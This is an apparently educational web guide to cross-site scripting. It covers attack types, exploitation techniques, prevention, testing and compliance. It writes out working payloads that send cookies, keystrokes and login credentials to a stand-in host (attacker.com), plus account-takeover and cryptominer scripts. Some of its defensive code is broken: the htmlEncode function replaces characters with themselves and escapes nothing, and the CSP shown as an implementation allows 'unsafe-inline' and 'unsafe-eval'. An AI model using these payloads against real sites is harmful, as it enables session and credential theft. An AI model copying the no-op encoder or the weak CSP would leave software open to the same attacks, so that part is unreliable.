Cross-Site Scripting (XSS)
What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious client-side scripts into web pages viewed by other users. When successful, XSS enables attackers to:
- Steal sensitive data (cookies, session tokens, credentials)
- Hijack user sessions and impersonate victims
- Deface websites and modify page content
- Redirect users to malicious websites
- Perform actions on behalf of users
- Install malware or ransomware
- Bypass security controls like CSRF protections
XSS vulnerabilities occur when web applications incorrectly handle user-supplied input and output it to web pages without proper sanitization or encoding, allowing malicious scripts to be executed in the context of a trusted website.
How XSS Works
Basic Mechanism
XSS exploits the trust relationship between a user's browser and a website:
- Attacker identifies a vulnerable input field
- Malicious script is injected through user input
- Application stores or reflects the input without proper sanitization
- Victim's browser executes the script in the context of the trusted site
- Attacker gains access to sensitive data or performs unauthorized actions
graph TD
A[Attacker] -->|Injects Malicious Script| B[Web Application]
B -->|Stores/Reflects Script| C[Database/Server]
C -->|Returns Script| B
B -->|Serves Page with Script| D[Victim's Browser]
D -->|Executes Script| E[Malicious Actions]
E -->|Sends Data| A
XSS Attack Flow
- Discovery: Attacker finds a vulnerable input field
- Injection: Malicious script is submitted to the application
- Storage/Reflection: Script is stored in database or reflected in response
- Delivery: Victim accesses a page containing the malicious script
- Execution: Browser executes the script in the trusted context
- Exploitation: Attacker achieves their malicious objectives
Types of XSS Attacks
1. Stored XSS (Persistent XSS)
Definition: Malicious script is permanently stored on the target server (database, message forum, comment field) and served to users who access the affected page.
Characteristics:
- Persistent: Script remains until manually removed
- High impact: Affects all users who view the infected page
- Common targets: Comment sections, user profiles, forums, message boards
Example Scenario:
- Attacker posts a comment with malicious script on a blog
- Script is stored in the blog's database
- Every visitor to the blog page executes the script
- Attacker steals session cookies from all visitors
2. Reflected XSS (Non-Persistent XSS)
Definition: Malicious script is reflected immediately in the application's response, typically through a crafted URL or form submission.
Characteristics:
- Non-persistent: Script is not stored on the server
- Requires social engineering: Victim must click a malicious link
- Common targets: Search results, error messages, form submissions
Example Scenario:
- Attacker crafts a malicious URL with XSS payload
- Victim clicks the link (e.g., through phishing email)
- Application reflects the payload in the response
- Victim's browser executes the script
- Attacker steals the victim's session cookie
3. DOM-Based XSS
Definition: Vulnerability exists in the client-side code rather than server-side code, where malicious script manipulates the Document Object Model (DOM) environment.
Characteristics:
- Client-side only: No server interaction required
- Harder to detect: Doesn't appear in server logs
- Common targets: Single-page applications, client-side routing
Example Scenario:
- Application uses client-side JavaScript to process URL parameters
- Attacker crafts URL with malicious payload in fragment identifier
- Victim clicks the link
- Client-side script processes the malicious input
- Script executes in the victim's browser
XSS Payload Examples
Basic XSS Payloads
<!-- Simple alert popup -->
<script>alert('XSS')</script>
<!-- Steal cookies -->
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
<!-- Keylogger -->
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
<!-- Form hijacking -->
<script>
document.forms[0].onsubmit = function() {
document.location='https://attacker.com/steal?data='+JSON.stringify({
username: document.forms[0].username.value,
password: document.forms[0].password.value
});
return false;
}
</script>
Obfuscated XSS Payloads
<!-- Hex encoding -->
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script>
<!-- Unicode encoding -->
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
<!-- HTML entity encoding -->
<img src=x onerror="alert('XSS')">
<!-- JavaScript fromCharCode -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
<!-- Using alternative tags -->
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
Real-World XSS Payloads
<!-- Session hijacking -->
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: document.location.href,
userAgent: navigator.userAgent
}),
headers: {'Content-Type': 'application/json'}
});
</script>
<!-- Account takeover -->
<script>
// Change user's email address
fetch('/api/user/update', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({
email: 'attacker@evil.com',
password: 'password123'
}),
headers: {'Content-Type': 'application/json'}
}).then(() => {
// Request password reset
fetch('/forgot-password', {
method: 'POST',
body: JSON.stringify({email: 'attacker@evil.com'})
});
});
</script>
<!-- Cryptocurrency mining -->
<script src="https://attacker.com/crypto-miner.js"></script>
<script>
// Mine cryptocurrency using victim's CPU
const miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>
XSS Exploitation Techniques
1. Session Hijacking
Objective: Steal user session cookies to impersonate victims.
Payload:
<script>
fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie));
</script>
Process:
- Attacker injects cookie-stealing script
- Victim's browser executes the script
- Session cookie is sent to attacker's server
- Attacker uses cookie to hijack victim's session
Mitigation:
- Use HttpOnly flag for cookies
- Implement secure session management
- Use short-lived session tokens
2. Keylogging
Objective: Capture keystrokes to steal sensitive information.
Payload:
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key='+encodeURIComponent(e.key)+'&url='+encodeURIComponent(document.location));
}
</script>
Process:
- Attacker injects keylogging script
- Victim types sensitive information (passwords, credit cards)
- Keystrokes are sent to attacker's server
- Attacker reconstructs typed information
Mitigation:
- Use Content Security Policy (CSP)
- Implement input validation
- Use secure forms with proper encoding
3. Form Hijacking
Objective: Intercept form submissions to steal sensitive data.
Payload:
<script>
// Hijack login form
document.forms[0].onsubmit = function(e) {
e.preventDefault();
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
username: this.username.value,
password: this.password.value,
url: document.location.href
}),
headers: {'Content-Type': 'application/json'}
}).then(() => {
// Submit form normally after stealing data
this.submit();
});
return false;
}
</script>
Process:
- Attacker injects form hijacking script
- Victim fills out and submits a form
- Form data is sent to attacker's server
- Form is submitted normally to avoid suspicion
- Attacker gains access to sensitive information
Mitigation:
- Use CSRF tokens
- Implement form validation
- Use secure submission methods
4. Account Takeover
Objective: Change user account settings to gain control.
Payload:
<script>
// Change user's email address
fetch('/api/user/update', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({
email: 'attacker@evil.com',
currentPassword: 'password123'
}),
headers: {'Content-Type': 'application/json'}
}).then(() => {
// Request password reset
fetch('/forgot-password', {
method: 'POST',
body: JSON.stringify({email: 'attacker@evil.com'})
});
});
</script>
Process:
- Attacker injects account takeover script
- Script changes victim's email address
- Script requests password reset
- Attacker receives password reset link
- Attacker gains control of victim's account
Mitigation:
- Require current password for sensitive changes
- Implement multi-factor authentication
- Use email verification for account changes
5. Malware Distribution
Objective: Deliver malware to victims' devices.
Payload:
<script>
// Create invisible iframe to malicious site
const iframe = document.createElement('iframe');
iframe.src = 'https://attacker.com/malware';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// Or redirect user to malicious site
// document.location = 'https://attacker.com/malware';
</script>
Process:
- Attacker injects malware delivery script
- Victim's browser loads malicious content
- Malware is downloaded and executed
- Victim's device is compromised
Mitigation:
- Use Content Security Policy (CSP)
- Implement browser security headers
- Educate users about safe browsing
XSS Prevention Techniques
1. Input Validation
Principle: Validate all user input to ensure it conforms to expected patterns.
Implementation:
- Allowlists: Only allow known-good input
- Blocklists: Reject known-bad input (less effective)
- Type checking: Validate data types
- Length restrictions: Limit input length
- Format validation: Validate email addresses, phone numbers, etc.
Example (Node.js):
// Validate email input
function isValidEmail(email) {
const re = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
return re.test(String(email).toLowerCase());
}
// Validate username input
function isValidUsername(username) {
const re = /^[a-zA-Z0-9_]{3,20}$/;
return re.test(username);
}
2. Output Encoding
Principle: Encode user-supplied data before outputting it to web pages.
Encoding Types:
- HTML encoding: For HTML context
- JavaScript encoding: For JavaScript context
- URL encoding: For URL context
- CSS encoding: For CSS context
Example (PHP):
// HTML encoding
$safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// JavaScript encoding
$safeJsOutput = json_encode($userInput);
Example (Node.js):
// HTML encoding
function htmlEncode(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// JavaScript encoding
function jsEncode(str) {
return JSON.stringify(str);
}
3. Content Security Policy (CSP)
Principle: Restrict sources of executable scripts to prevent XSS.
Implementation:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none'
CSP Directives:
- default-src: Fallback for other directives
- script-src: Controls JavaScript sources
- style-src: Controls CSS sources
- img-src: Controls image sources
- connect-src: Controls fetch, XHR, WebSocket connections
- frame-src: Controls iframe sources
- object-src: Controls plugin content (Flash, etc.)
- base-uri: Controls base URL for relative URLs
- form-action: Controls form submission targets
Example CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'
4. HTTP Security Headers
Principle: Use security headers to mitigate XSS risks.
Key Headers:
- Content-Security-Policy (CSP): Restrict script sources
- X-XSS-Protection: Enable browser XSS protection
- X-Content-Type-Options: Prevent MIME sniffing
- X-Frame-Options: Prevent clickjacking
- Referrer-Policy: Control referrer information
Example Headers:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
5. Secure Coding Practices
Principle: Follow secure coding guidelines to prevent XSS.
Best Practices:
- Never trust user input: Always validate and sanitize
- Use frameworks: Modern frameworks have built-in XSS protection
- Context-aware encoding: Encode based on output context
- Use HttpOnly cookies: Prevent JavaScript access to cookies
- Use secure and SameSite cookie attributes
- Implement CSRF protection: Prevent unauthorized form submissions
- Regular security testing: Identify and fix vulnerabilities
Example (React):
// React automatically escapes content
function SafeComponent({ userInput }) {
return <div>{userInput}</div>;
// Safe: React escapes the content
}
Example (Vue.js):
<!-- Vue.js automatically escapes content -->
<div>{{ userInput }}</div>
<!-- Safe: Vue escapes the content -->
<!-- Use v-html with caution -->
<div v-html="userInput"></div>
<!-- Unsafe: Only use with trusted content -->
Example (Angular):
<!-- Angular automatically escapes content -->
<div>{{ userInput }}</div>
<!-- Safe: Angular escapes the content -->
<!-- Use DomSanitizer for trusted HTML -->
<div [innerHTML]="trustedHtml"></div>
<!-- Requires explicit trust -->
XSS in Modern Web Applications
Single-Page Applications (SPAs)
Challenges:
- Client-side routing: Vulnerable to DOM-based XSS
- Dynamic content loading: Increased attack surface
- Complex state management: Harder to secure
Prevention:
- Use framework protections: React, Vue, Angular have built-in XSS protection
- Implement CSP: Restrict script sources
- Secure API communication: Validate all API responses
- Client-side input validation: Validate before processing
Example (React with CSP):
// React component with secure practices
function SafeInput({ value, onChange }) {
const handleChange = (e) => {
// Validate input on client side
const sanitizedValue = sanitizeInput(e.target.value);
onChange(sanitizedValue);
};
return <input value={value} onChange={handleChange} />;
}
APIs and Microservices
Challenges:
- JSON responses: Potential for XSS in API consumers
- API gateways: Potential injection points
- Service-to-service communication: XSS propagation
Prevention:
- Validate API inputs: Never trust service inputs
- Encode API outputs: Even for JSON responses
- Implement API security: Authentication, authorization
- Use secure protocols: HTTPS for all communications
Example (Secure API Response):
// Secure API response with encoded content
app.get('/api/user', (req, res) => {
const user = getUserFromDatabase(req.user.id);
// Encode potentially dangerous fields
const safeUser = {
...user,
bio: encodeHtml(user.bio),
website: encodeUrl(user.website)
};
res.json(safeUser);
});
Serverless Applications
Challenges:
- Function inputs: Potential injection vectors
- Event sources: XSS through event data
- Third-party services: Increased attack surface
Prevention:
- Validate function inputs: Never trust event data
- Secure database access: Use parameterized queries
- Implement CSP: For serverless web applications
- Monitor function execution: Detect suspicious activity
Example (AWS Lambda Security):
// Secure Lambda function with input validation
exports.handler = async (event) => {
// Validate input
if (!isValidInput(event.queryStringParameters)) {
return {
statusCode: 400,
body: JSON.stringify({ error: 'Invalid input' })
};
}
// Process request with validated input
const result = await processRequest(event.queryStringParameters);
// Encode output
const safeResult = encodeOutput(result);
return {
statusCode: 200,
headers: {
'Content-Security-Policy': "default-src 'self'",
'X-XSS-Protection': '1; mode=block'
},
body: JSON.stringify(safeResult)
};
};
XSS Testing and Detection
Manual Testing Techniques
- Basic XSS Test:
<script>alert('XSS')</script> - HTML Attribute Test:
" onmouseover="alert('XSS') - JavaScript Event Handler Test:
' onmouseover='alert('XSS') - Image Tag Test:
<img src=x onerror=alert('XSS')> - SVG Test:
<svg onload=alert('XSS')> - DOM-Based Test:
#javascript:alert('XSS')
Automated Testing Tools
- Burp Suite: Web application security testing
- OWASP ZAP: Zed Attack Proxy for vulnerability scanning
- SQLmap: Can detect some XSS vulnerabilities
- XSStrike: Advanced XSS detection suite
- BruteXSS: XSS scanner
- Netsparker: Web application security scanner
- Acunetix: Web vulnerability scanner
Browser Developer Tools
- Console: Test JavaScript execution
- Elements Inspector: Check how input is rendered
- Network Tab: Analyze requests and responses
- Debugger: Step through JavaScript execution
Security Headers Analysis
# Check security headers with curl
curl -I https://example.com
# Check headers with detailed analysis
curl -sI https://example.com | grep -E 'Content-Security-Policy|X-XSS-Protection|X-Content-Type-Options|X-Frame-Options'
XSS Case Studies
Case Study 1: Social Media Platform Breach
Incident: A major social media platform suffered an XSS vulnerability that exposed 50 million user accounts.
Attack Details:
- Vulnerability in the "About Me" section allowed stored XSS
- Attacker injected malicious script into their profile
- Script executed when other users viewed the profile
- Script stole session cookies and sent them to attacker's server
- Attacker hijacked accounts and spread the attack virally
Impact:
- 50 million compromised accounts
- $120 million in breach-related costs
- Significant reputational damage
- Regulatory fines for data protection violations
Lessons Learned:
- Importance of input validation in user-generated content
- Need for Content Security Policy (CSP)
- Value of regular security audits
- Importance of secure coding practices
Case Study 2: E-commerce Checkout Exploitation
Incident: An e-commerce platform had an XSS vulnerability in its checkout process.
Attack Details:
- Vulnerability in the order confirmation page allowed reflected XSS
- Attacker crafted malicious URLs with XSS payloads
- Victims clicked links through phishing emails
- Script executed in the context of the trusted checkout page
- Script modified order details to ship products to attacker's address
- Script stole credit card information from the checkout form
Impact:
- $8 million in fraudulent orders
- 15% customer churn rate
- PCI DSS compliance violations
- Significant reputational damage
Lessons Learned:
- Critical importance of output encoding in checkout processes
- Need for secure payment processing
- Value of regular penetration testing
- Importance of secure development lifecycle
Case Study 3: Government Website Defacement
Incident: A government website was defaced through an XSS vulnerability.
Attack Details:
- Vulnerability in the search functionality allowed reflected XSS
- Attacker crafted a malicious URL with defacement payload
- URL was distributed through social media
- Victims clicked the link and executed the script
- Script modified the DOM to display defacement message
- Script spread through social sharing features
Impact:
- Government credibility damage
- Public trust erosion
- National security concerns
- Costly incident response and remediation
Lessons Learned:
- Importance of secure search functionality
- Need for Content Security Policy (CSP)
- Value of regular vulnerability scanning
- Importance of secure coding training
XSS and Compliance
Regulatory Implications
XSS vulnerabilities can lead to compliance violations with various regulations:
- GDPR: General Data Protection Regulation
- Requires protection of personal data
- Mandates data breach notification
- Imposes significant fines for non-compliance
- PCI DSS: Payment Card Industry Data Security Standard
- Requires protection of cardholder data
- Mandates secure coding practices
- Requires regular vulnerability scanning
- HIPAA: Health Insurance Portability and Accountability Act
- Requires protection of health information
- Mandates security risk assessments
- Requires implementation of security measures
- CCPA: California Consumer Privacy Act
- Requires protection of consumer data
- Mandates data access and deletion rights
- Imposes fines for data breaches
- ISO 27001: Information Security Management
- Requires risk management
- Mandates secure development practices
- Requires regular security assessments
Compliance Requirements
| Regulation | Requirement | XSS Prevention |
|---|---|---|
| GDPR | Protect personal data | Input validation, output encoding, CSP |
| PCI DSS | Protect cardholder data | Secure coding, regular testing, CSP |
| HIPAA | Protect health information | Secure development, input validation |
| CCPA | Protect consumer data | Input validation, secure coding |
| ISO 27001 | Information security management | Risk assessments, security controls |
XSS in the OWASP Top 10
OWASP Top 10 2021: XSS is ranked #3 in the OWASP Top 10 Web Application Security Risks.
Key Points:
- Prevalence: XSS is one of the most common web vulnerabilities
- Exploitability: Easy to exploit with readily available tools
- Impact: Can lead to account takeover, data theft, malware distribution
- Detectability: Can be detected with automated tools and manual testing
OWASP Recommendations:
- Use frameworks that automatically escape XSS
- Escape all untrusted data based on the HTML context
- Implement Content Security Policy (CSP)
- Use HttpOnly cookie flag to prevent JavaScript access
- Implement proper output encoding for different contexts
- Regular security testing to identify and fix XSS vulnerabilities
Conclusion
Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous web security vulnerabilities. Despite being well-understood for decades, XSS continues to affect modern web applications, including single-page applications, APIs, and serverless architectures.
The impact of XSS can be severe, ranging from session hijacking and data theft to account takeover and malware distribution. Successful XSS attacks can compromise user accounts, expose sensitive data, damage reputations, and lead to regulatory fines.
Preventing XSS requires a multi-layered defense strategy that includes:
- Input validation: Validate all user-supplied data
- Output encoding: Encode data based on output context
- Content Security Policy (CSP): Restrict script sources
- Secure coding practices: Follow secure development guidelines
- Regular testing: Identify and fix vulnerabilities early
- Security headers: Implement browser security protections
As web technologies continue to evolve, developers and security professionals must remain vigilant against XSS vulnerabilities. By understanding the mechanisms, techniques, and prevention methods of XSS, organizations can significantly reduce their risk and protect their users from these pervasive attacks.
The key to effective XSS prevention lies in secure development practices, continuous monitoring, and a proactive security posture that adapts to evolving threats in the modern web landscape.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) is a web security vulnerability that tricks users into executing unwanted actions on a web application where they are authenticated, exploiting the trust a site has in a user browser.
Deserialization Attack
Deserialization attacks exploit insecure deserialization of data to execute arbitrary code, access sensitive data, or compromise systems by manipulating serialized objects before they are deserialized.
